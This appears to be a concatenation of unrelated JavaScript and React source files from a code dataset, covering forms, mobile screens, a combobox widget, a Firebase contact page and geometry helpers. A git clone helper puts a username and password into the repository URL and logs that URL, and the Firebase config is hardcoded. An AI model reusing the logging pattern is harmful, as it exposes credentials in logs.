createLinkTitle: "Propriedades de Link",
insertImageTitle: "Propriedades de Imagem",
url: "URL:",
text: "Descrição:",
set: "Definir"
})
|
import React, { useEffect, useState } from 'react'
import { useMutation, useQuery } from '@apollo/client'
import Select from 'react-select'
import { ALL_AUTHORS, EDIT_BIRTH_YEAR } from '../queries'
// eslint-disable-next-line react/prop-types
const AuthorBirthYearComponent = ({ setError }) => {
const [bornYear, setBornYear] = useState(1)
const authors = useQuery(ALL_AUTHORS, {
pollInterval: 2000,
})
const authorOptions = authors && authors.data && authors.data.allAuthors
? authors.data.allAuthors.map((a) => ({ value: a.name, label: a.name }))
: []
const [selectedAuthor, setSelectedAuthor] = useState(authorOptions[0])
const [editAuthor, result] = useMutation(EDIT_BIRTH_YEAR, {
refetchQueries: [{ query: ALL_AUTHORS }],
onError: (error) => {
console.log('error: ', error)
setError(error.toString())
},
})
useEffect(() => {
if (result.data && !result.data.editAuthor) {
setError('name not found')
}
}, [result.editAuthor]); // eslint-disable-line
const submit = async (event) => {
event.preventDefault()
const name = selectedAuthor.value
let born = bornYear ? Number(bornYear) : 0
console.log('update author...', name, ' born: ', born)
editAuthor({ variables: { name, born } })
setSelectedAuthor(authorOptions[0])
setBornYear(1)
}
return (
<div>
<h2>Set birth year</h2>
<form onSubmit={submit}>
<div>
name
<Select
defaultValue={selectedAuthor}
onChange={setSelectedAuthor}
options={authorOptions}
/>
</div>
<div>
born
<input
type="number"
value={bornYear}
onChange={({ target }) => setBornYear(target.value)}
/>
</div>
<button type="submit">update author</button>
</form>
</div>
)
}
export default AuthorBirthYearComponent
|
import React from "react";
import { View } from "react-native";
import { StyleSheet, Text, Image, TouchableOpacity } from 'react-native';
import { AntDesign } from '@expo/vector-icons';
export default function login({navigation}) {
return (
<View style={styles.container}>
<Image
style={styles.imageStyle}
source={require("C:/Users/user/Desktop/firstproject/assets/bikee.jpg")} />
<Text style={styles.welcomeText}>Welcome to</Text>
<Text style={styles.PBKtext}>Power Bike Shop</Text>
<View style={styles.buttonView}>
<TouchableOpacity onPress={() => {navigation.navigate("home")}} style={styles.googleButton}>
<AntDesign name="google" size={26} color="black" />
<Text style={styles.buttonText}> Login with Gmail</Text>
</TouchableOpacity>
<TouchableOpacity onPress={() => {navigation.navigate("home")}} style={styles.appleButton}>
<AntDesign name="apple1" size={26} color="white" />
<Text style={styles.buttonText2}> Login with Apple</Text>
</TouchableOpacity>
</View>
<View style={styles.buttomview}>
<Text style={styles.buttomtext}>Not a member?</Text>
<TouchableOpacity style={styles.signButton}>
<Text style={styles.buttomtext2}> Sign Up</Text>
</TouchableOpacity>
</View>
</View>
);
}
const styles = StyleSheet.create({
container: {
flex: 1,
backgroundColor: '#fff',
alignItems: 'center',
justifyContent: 'center',
},
imageStyle: {
width: 200,
height: 200,
borderRadius: 20,
transform: [{ rotate: "45deg" }],
marginBottom: 70,
},
welcomeText: {
fontSize: 30,
marginBottom: 0,
},
PBKtext: {
fontSize: 30,
fontWeight: "bold",
},
buttomtext: {
fontSize: 14,
color: "gray",
marginTop: 12,
},
buttomtext2: {
fontSize: 14,
color: "#ff792f",
fontWeight: "bold",
marginTop: 12,
},
buttonText: {
fontSize: 20,
fontWeight: "bold",
textAlign: "center",
},
buttonText2: {
fontSize: 20,
fontWeight: "bold",
textAlign: "center",
color: "white",
},
googleButton: {
backgroundColor: "#e6e6e6",
padding: 15,
borderRadius: 12,
marginTop: 10,
flexDirection: "row",
justifyContent: "center",
},
appleButton: {
backgroundColor: "black",
padding: 15,
borderRadius: 12,
marginTop: 10,
flexDirection: "row",
justifyContent: "center",
},
signButton: {
backgroundColor: "white",
borderRadius: 12,
},
buttonView: {
width: "85%"
},
buttomview: {
flexDirection: "row",
},
}); |
var hmax = 170; //最大高度
var hmin = 25; //最小高度
var h = 0;
function addCount() {
if (h < hmax) {
h += 190;
setTimeout("addCount()", 1);
}
else {
h = hmax;
setTimeout("noneAds()", 10000); //停留时间自己适当调整 1000 = 1秒
}
document.getElementById("ads").style.display = "";
document.getElementById("close").style.display = "";
document.getElementById("ads").style.height = h + "px";
}
function showAds() {
document.getElementById("ads").style.display = "none";
document.getElementById("close").style.display = "none";
document.getElementById("ads").style.height = "0px";
addCount(); //慢慢打开
}
function openAds() {
h = 0; //高度
addCount(); //慢慢打开
}
function noneAds() {
if (h > hmin) {
h -= 10;
setTimeout("noneAds()", 1);
}
else {
h = hmin;
document.getElementById("ads").style.display = "none";
document.getElementById("close").style.display = "none";
return;
}
document.getElementById("ads").style.height = h + "px";
}
|
import boolean from "./../type/boolean";
import Select from "./abstract/Select";
import selector from "./../utils/selector";
function filter(cb, value) {
var selectedOptions = [];
cb.owns.forEach(listbox => {
Array.prototype.forEach.call(listbox.element.children, option => {
if(value === null) {
option.hidden = true;
} else if (option.innerHTML.indexOf(value) == 0) {
option.hidden = false;
if(option.innerHTML === value) {
selectedOptions.push(option);
}
} else {
option.hidden = true;
}
});
});
return selectedOptions;
}
function toggleListbox(ev) {
if(ev) ev.preventDefault();
if (this.expanded == boolean.IS_ACTIVE) {
hideListbox.call(this);
} else {
showListbox.call(this);
}
}
function updateValue(ev) {
if(ev) ev.preventDefault();
console.log(this._.combobox.input.value, ev.target.innerHTML, this._, ev);
this._.combobox.input.value = ev.target.innerHTML;
hideListbox.bind(this);
}
function updateListbox() {
var options = filter(this, this._.combobox.input.value);
options.forEach(i => {
i.selected = true;
});
}
function showListbox() {
this.expanded = boolean.IS_ACTIVE;
updateListbox.call(this);
}
function hideListbox() {
this.expanded = boolean.IS_NOT_ACTIVE;
filter(this);
}
/**
* A combobox is a widget made up of the combination of two distinct elements:
*
* 1. a single-line textbox
* 2. an associated pop-up element for helping users set the value of the textbox.
*
* The popup may be a listbox, grid, tree, or dialog. Many implementations also include a third
* optional element -- a graphical button adjacent to the textbox, indicating the availability of
* the popup. Activating the button displays the popup if suggestions are available.
*
* @extends Select
* @param {Element} options.combobox.input Defaults to first input element inside the element
* @param {Element} [options.combobox.open]
* Optional button to open the pop-up element,
* defaults to first button element inside the element
*/
class Combobox extends Select {
constructor(...args) {
super(...args);
// register custom elements
this._.registerCustomElement("combobox.input", this.element.querySelector(selector.getDeepSelector("textbox")));
this._.registerCustomElement("combobox.open", this.element.querySelector(selector.getDeepSelector("button")));
if (this._.combobox.open) {
this._.combobox.open.addEventListener("click", toggleListbox.bind(this));
}
this._.combobox.input.addEventListener("focus", showListbox.bind(this));
this._.combobox.input.addEventListener("blur", hideListbox.bind(this));
this._.combobox.input.addEventListener("input", updateListbox.bind(this));
// this.owns.forEach(i => i.element.addEventListener("click", updateValue.bind(this)));
if(this.autocomplete == "list") {
// Indicates that the autocomplete behavior of the text input is to suggest a list of possible values
// in a popup and that the suggestions are related to the string that is present in the textbox.
} else if (this.autocomplete == "both") {
// ndicates that the autocomplete behavior of the text input is to both show an inline
// completion string and suggest a list of possible values in a popup where the suggestions
// are related to the string that is present in the textbox.
}
/** @todo determine what to do with default values */
if(this.expanded == undefined) this.expanded = false;
if (this.hasPopup == undefined) this.hasPopup = "listbox";
}
}
export default Combobox; |
define([
"ember",
"text!templates/user/auth.html.hbs"
], function( Ember, Template ) {
return Ember.View.extend({
template: Ember.Handlebars.compile( Template ),
tagName: "main",
classNames: [ "content", "content-user content-user-auth" ]
});
});
|
const { GraphQLObjectType, GraphQLString } = require("graphql");
module.exports = new GraphQLObjectType({
name: "Social",
fields: {
youtube: { type: GraphQLString },
twitter: { type: GraphQLString },
facebook: { type: GraphQLString },
instagram: { type: GraphQLString },
linkedin: { type: GraphQLString }
}
});
|
// Your web app's Firebase configuration
// For Firebase JS SDK v7.20.0 and later, measurementId is optional
var firebaseConfig = {
apiKey: "AIzaSyCpPECaIbxjutnPE1EaCKNx8PCHNo0_Pm8",
authDomain: "bruce-no-middle-name-tieu.firebaseapp.com",
projectId: "bruce-no-middle-name-tieu",
storageBucket: "bruce-no-middle-name-tieu.appspot.com",
messagingSenderId: "804306288174",
appId: "1:804306288174:web:98ef58b4cbfd04488729bf",
measurementId: "G-HSE803YRRD"
};
// Initialize Firebase
firebase.initializeApp(firebaseConfig);
// Reference contactInfo collections
let contactInfo = firebase.database().ref("infos");
// JQuery
$(document).ready(function() {
$(window).scroll(function() {
if (this.scrollY > 20) {
$('.navbar').addClass("sticky");
} else {
$('.navbar').removeClass("sticky");
}
if (this.scrollY > 500) {
$('.scroll-up-btn').addClass("show");
} else {
$('.scroll-up-btn').removeClass("show");
}
});
// Scroll up script
$('.scroll-up-btn').click(function() {
$('html').animate({scrollTop: 0})
});
// Typing animation
var typed = new Typed(".typing", {
strings: ["aspiring software engineer", "life long learner", "problem solver", "tech lover", "student, always"],
typeSpeed: 100,
backSpeed: 60,
loop: true
});
var typed = new Typed(".typing-2", {
strings: ["aspiring software engineer", "life long learner", "problem solver", "tech lover", "student, always"],
typeSpeed: 100,
backSpeed: 60,
loop: true
});
// Toggle the menu / navbar
$('.menu-btn').click(function() {
$('.navbar .menu').toggleClass("active");
$('.menu-btn i').toggleClass("active");
});
// Owl carousel
$('.carousel').owlCarousel({
margin: 20,
loop: true,
autoplayTimeOut: 2000,
autoplayHoeverPause: true,
responsive: {
0:{
items: 1,
nav:false
},
600:{
items: 2,
nav:false
},
1000:{
items: 3,
nav:false
}
}
});
})
// Save data into firebase database.
document.querySelector('.contact-form').addEventListener("submit", submitForm);
function submitForm(e) {
e.preventDefault();
// Get input values.
let name = document.querySelector('._name').value;
let email = document.querySelector('._email').value;
let subject = document.querySelector('._subject').value;
let message = document.querySelector('._message').value;
console.log(name, email, subject, message);
saveContactInfo(name, email, subject, message);
// Show alert
document.querySelector('.alert').style.display = "block";
// Hide alert after 3 seconds
setTimeout(function() {
document.querySelector('.alert').style.display = "none";
}, 3000)
// Reset fields
document.querySelector('.contact-form').reset()
}
// Save infos to Firebase.
function saveContactInfo(name, email, subject, message) {
let newContactInfo = contactInfo.push();
newContactInfo.set({
name: name,
email: email,
subject: subject,
message: message,
});
} |
module.exports = {
1: {
name: 'text-block',
icon: 'fa fa-pencil fa-fw',
color: 'icon-blue',
title: 'Texte'
},
2: {
name: 'media-block',
icon: 'fa fa-picture-o fa-fw',
color: 'icon-yellow',
title: 'Média'
},
3: {
name: 'math-block',
icon: 'fa fa-superscript fa-fw',
color: 'icon-purple',
title: 'Maths'
}
}
|
import React from 'react'
import { StyleSheet } from 'react-native'
import { createStackNavigator } from '@react-navigation/stack';
import Todos from '../screens/Todos'
import TodoDetail from '../screens/TodoDetail'
const Stack = createStackNavigator();
function TodosStack() {
return (
<Stack.Navigator>
<Stack.Screen name="List" component={Todos} />
<Stack.Screen name="Detail" component={TodoDetail} />
</Stack.Navigator>
)
}
const styles = StyleSheet.create({
container: {
flex: 1,
alignItems: 'center',
},
todos: {
// flex: 1
}
});
export default TodosStack
|
import styled from "styled-components";
import { StyledLink } from "components/shared/lib";
import Avatar from "components/shared/Avatar";
const Signature = ({ firstName, lastName, score, userId }) => (
<Container>
<Avatar initials={`${firstName[0]}${lastName[0]}`} />
<ColContainer>
<Name to={`/user/${userId}`}>{`${firstName} ${lastName}`}</Name>
<Score>score: {score}</Score>
</ColContainer>
</Container>
);
const Container = styled.div`
display: flex;
`;
const ColContainer = styled.div`
margin-left: 0.25rem;
display: flex;
flex-direction: column;
`;
const Score = styled.span`
color: var(--color-text-gray);
align-self: flex-end;
font-size: var(--fs-small);
`;
const Name = styled(StyledLink)``;
export default Signature;
|
import React from "react";
import Alert from "react-bootstrap/Alert";
import {Link} from "gatsby";
function Announcement(props) {
return (
<Alert variant={props.variant} className="border-0 rounded-0 text-center" style={{marginLeft: '2.5em'}}>
{props.text}
{` `}
<a href="https://www.youtube.com/watch?v=DLzxrzFCyOs" rel="noreferrer nofollow" target="_blank" ><strong> {props.linkText} </strong></a>
</Alert>
);
}
export default Announcement;
|
import React, { useState } from 'react'
import { useRouter } from 'next/router'
import { setProfileTemplate } from '../../store/actions/template'
import { useDispatch, useSelector } from 'react-redux'
import { Sidebar, ThemeCard, Input, Preview, Template, Dropdown } from '../../components'
import styles from '../../styles/Create.module.scss'
const Event = () => {
const router = useRouter()
const dispatch = useDispatch()
const { data } = useSelector(state => state.template)
const [ error, setError ] = useState({})
const {
date,
place,
end_time,
event_name,
start_time,
google_maps,
} = data
const handleChange = (event) => {
dispatch(setProfileTemplate({
name: event.target.name,
value: event.target.value
}))
}
const handleDropdownChange = (value) => {
console.log(value)
}
const validate = () => {
const validation = {
date: date,
place: place,
end_time: end_time,
event_name: event_name,
start_time: start_time,
google_maps: google_maps
}
for(let i = 0; i < Object.keys(validation).length; i++) {
const key = Object.keys(validation)[i]
if (validation[key] === '' || !validation[key]) {
setError({
[key] : 'Data ini harus diisi'
})
return false
}
}
return true
}
const handleNext = () => {
if (validate()) {
router.push('/create/event')
}
}
const handlePrevious = () => {
router.back()
}
return (
<div className="container">
<Preview>
<Template />
</Preview>
<Sidebar
next={handleNext}
previous={handlePrevious}
title="Informasi Acara"
description="Isi profilmu dan profil pasanganmu"
>
<div>
<h2>Profil Kamu</h2>
<Input
value={event_name}
name='event_name'
error={error?.event_name}
label="Nama Acara"
handleChange={handleChange}
/>
<Input
value={date}
name='date'
error={error?.date}
label="Tanggal"
handleChange={handleChange}
/>
<Input
value={start_time}
name='start_time'
error={error?.start_time}
label="Waktu Dimulai"
handleChange={handleChange}
/>
<Input
value={end_time}
name='end_time'
label="Waktu Selesai"
error={error?.end_time}
handleChange={handleChange}
/>
<Input
value={place}
name='place'
label="Tempat"
error={error?.place}
handleChange={handleChange}
/>
<Input
value={google_maps}
name='google_maps'
label="Google Maps"
error={error?.google_maps}
handleChange={handleChange}
/>
<div className="spacer" style={{ margin: '40px 0px' }} />
</div>
</Sidebar>
</div>
)
}
export default Event |
const fs = require('fs');
const path = require('path');
const { URL } = require('url');
const git = require('simple-git/promise');
const cloneRepoIfNeeded = (projectInfo, user, password) => {
const {name, gitPath} = projectInfo
let url = new URL(gitPath);
url.hash = '';
if(user) url.username = user;
if(password) url.password = password;
const localPath = path.join('./output', name);
if(fs.existsSync(localPath)) {
console.log(`${localPath} exists, skip clone repo`);
return Promise.resolve();
}
return git()
.clone(url.href, localPath, ['--depth=1'])
.then(() => console.log(`${url.href}已经下载到${localPath}`))
.catch((err) => console.error('failed: ', err));
};
module.exports = cloneRepoIfNeeded;
|
/*jshint esversion: 6 */
var math = require('mathjs');
export default {
/**
* Obtain the matrices for conversions between latitude-longitude
* to x-y.
*
* @param {Object[]} gps_points
* @param {number} gps_points[].x
* @param {number} gps_points[].y
* @param {number} gps_points[].latitude
* @param {number} gps_points[].longitude
* @param {number} width
* @param {number} height
* @returns {Object} transformation and offset matrices {m_trans:, m_offset:}
*/
latlngToPointMatrices(gps_points, width, height) {
const matrix = math.matrix(
[
[gps_points[0].x, gps_points[0].y, 0, 0, 1, 0],
[0, 0, gps_points[0].x, gps_points[0].y, 0, 1],
[gps_points[1].x, gps_points[1].y, 0, 0, 1, 0],
[0, 0, gps_points[1].x, gps_points[1].y, 0, 1],
[gps_points[2].x, gps_points[2].y, 0, 0, 1, 0],
[0, 0, gps_points[2].x, gps_points[2].y, 0, 1]
]
);
const lat_lng_column = math.matrix(
[
[gps_points[0].longitude], [gps_points[0].latitude], [gps_points[1].longitude],
[gps_points[1].latitude], [gps_points[2].longitude], [gps_points[2].latitude]
]
);
const sol = math.multiply(math.inv(matrix), lat_lng_column);
const m_trans = math.matrix(
[
[sol.get([0, 0]), sol.get([1, 0])],
[sol.get([2, 0]), sol.get([3, 0])]
]
);
const m_offset = math.matrix(
[
[sol.get([4, 0])],
[sol.get([5, 0])]
]
);
return { m_trans: math.inv(m_trans), m_offset: m_offset };
},
/**
* Convert point from latitude-longitude reference to x-y referenced
* by a square using matrices for transformation and offset.
*
* @param {number} latitude
* @param {number} longitude
* @param {number} width
* @param {number} height
* @param {Matrix} m_trans
* @param {Matrix} m_offset
* @returns {Object} x and y entries
*/
latlngToPoint(latitude, longitude, width, height, m_trans, m_offset) {
var points =
math.multiply(m_trans,
math.subtract(math.matrix([[longitude], [latitude]]),
m_offset)
);
return {
x: points.get([0, 0]),
y: points.get([1, 0])
};
},
/**
* Convert point from latitude-longitude reference to percentages referenced
* by a square using matrices for transformation and offset.
*
* @param {number} latitude
* @param {number} longitude
* @param {number} width
* @param {number} height
* @param {Matrix} m_trans
* @param {Matrix} m_offset
* @returns {Object} x and y entries representing percentage
*/
latlngToPercent(latitude, longitude, width, height, m_trans, m_offset) {
var points =
math.multiply(m_trans,
math.subtract(math.matrix([[longitude], [latitude]]),
m_offset)
);
return {
x: points.get([0, 0]) / width * 100,
y: points.get([1, 0]) / height * 100
};
}
};
|
const sweep = t => Math.log(1 + t) / Math.log(2);
const xScale = t => Math.min(1 + sweep(t), 2 - sweep(t));
const yScale = t => Math.max(1 - sweep(t), sweep(t));
export default {
metadata: {
name: 'Box - Squash',
duration: 1000,
},
box: {
styles: {
transform: [
0, inputs => t => `translate3d(${inputs.offset * sweep(t)}px, 0, 0) scale(${xScale(t)}, ${yScale(t)})`,
],
transformOrigin: [
0, '50% 100% 0',
],
},
},
};
|
import React, { Component } from "react";
import { Row, Col } from "react-bootstrap";
import Logo from "../../components/common/Logo";
import '../../app.css';
// import "./style.css";
//Components
import ForgotPass from "../../components/ForgotPass/index";
import Footer from "../../components/common/Footer/Footer"
export default class Register extends Component {
// state = {
// text: ""
// };
render() {
return (
<section className="mainbg">
<Row>
<Col />
<Col><Logo></Logo></Col>
<Col />
</Row>
<Row>
<Col></Col>
</Row>
<Row>
<Col></Col>
<Col><ForgotPass /></Col>
<Col />
</Row>
<Row>
<Col></Col>
<Col><Footer /></Col>
<Col />
</Row>
</section>
);
}
}
|
import Home from "./Home";
import BookDetail from "./BookDetail";
import PlayerScreen from "./PlayerScreen";
import Book_read from "./Book_read";
export {
Home,
BookDetail,
PlayerScreen,
Book_read
}; |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.